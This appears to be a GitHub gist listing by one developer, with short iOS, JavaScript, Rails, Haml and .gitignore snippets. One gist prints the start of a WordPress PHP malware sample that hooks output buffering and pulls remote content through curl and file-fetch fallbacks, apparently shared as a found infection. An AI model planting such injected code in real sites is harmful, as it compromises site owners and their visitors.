Skip to content

Instantly share code, notes, and snippets.

View amster's full-sized avatar
🎹

Amy Lee amster

🎹
View GitHub Profile
@amster
amster / YourViewController.m
Last active October 24, 2022 20:44
Load a UIWebView in iOS that can also load local resources like images, CSS, and JavaScript
// An example viewDidLoad
- (void)viewDidLoad
{
[super viewDidLoad];
[self loadWebView];
}
// The example loader
//
// Assumes you have an IBOutlet for the UIWebView defined: @property (strong, nonatomic) UIWebView *wv;
@amster
amster / gist:4455131
Created January 4, 2013 19:16
Hide/remove iPhone address bar (navigation bar) with the window.scrollTo() trick, but without moving the page perceptibly.
setTimeout( function(){ window.scrollTo(0, 0.1) }, 100 );
@amster
amster / gist:4430943
Created January 1, 2013 23:22
ActionMailer settings in production.rb (that also work with Devise) to connect to Amazon SES
config.action_mailer.raise_delivery_errors = true
config.action_mailer.default_url_options = { :host => 'YOURDOMAIN.com'}
config.action_mailer.smtp_settings = {
:address => 'email-smtp.us-east-1.amazonaws.com', # See the SES SMTP Settings dashboard
:port => '25',
:domain => 'YOURDOMAIN.com', # Your domain
:user_name => 'ABCDEFGHIJKLMNOPQRSTUVWXYZ123456', # New SMTP credentials, NOT AWS CREDENTIALS!
:password => 'ABCDEFGHIJKLMNOPQRSTUVWXYZ123456', # New SMTP credentials, NOT AWS CREDENTIALS!
:authentication => :login
}
@amster
amster / gist:4354906
Created December 21, 2012 18:49
Ruby local scoping: when exceptions happen or not.
def a
# Should error because it's not assigned in the current scope.
puts foobar
end
def b
# This code path isn't run but it's still in the same scope.
if false
foobar = 123
end
@amster
amster / gist:1964927
Created March 3, 2012 07:56
WordPress PHP hack, a.k.a. eval(base64_decode('aWYoZ...
if (function_exists('ob_start') && !isset($_SERVER['mr_no'])) {
$_SERVER['mr_no'] = 1;
if (!function_exists('mrobh')) {
function get_tds_777($url) {
$content = "";
$content = @trycurl_777($url);
if ($content !== false) return $content;
$content = @tryfile_777($url);
if ($content !== false) return $content;
$content = @tryfopen_777($url);
def create
@my_model = MyModel.new(params[:my_model])
respond_to do |format|
if @my_model.save
format.html { redirect_to(my_models_path, :notice => 'Success') }
format.js { render :json => { :success => true, :message => "Success"}, :content_type => 'text/json' }
format.xml { render :xml => @my_model, :status => :created, :location => @my_model }
else
format.html { render :action => "new" }
def create
@my_model = MyModel.new(params[:my_model])
respond_to do |format|
if @my_model.save
format.html { redirect_to(my_models_path, :notice => 'Success') }
format.js { render :json => { :success => true, :message => "Success"} }
format.xml { render :xml => @my_model, :status => :created, :location => @my_model }
else
format.html { render :action => "new" }
$('form .submit-button').click(function () { $(this).parents('form:first').submit(); });
$('form').bind('ajax:success', function () { alert('it works'); });
@amster
amster / gist:903117
Created April 5, 2011 06:20
Haml form_for with :remote => true
= form_for @my_model, :remote => true do |f|
= f.label :name
= f.text_field :name
= f.label :address, 'Address'
= f.text_area :address
%input.submit-button{:type => 'button', :value => 'Add Entry'}
@amster
amster / .gitignore
Created March 31, 2011 15:06
My .gitignore
*.gem
.bundle
.gitignore.swp
.sass*
config/database.yml
config/s3.yml
db/*sqlite*
db/schema.rb
doc/*
log/*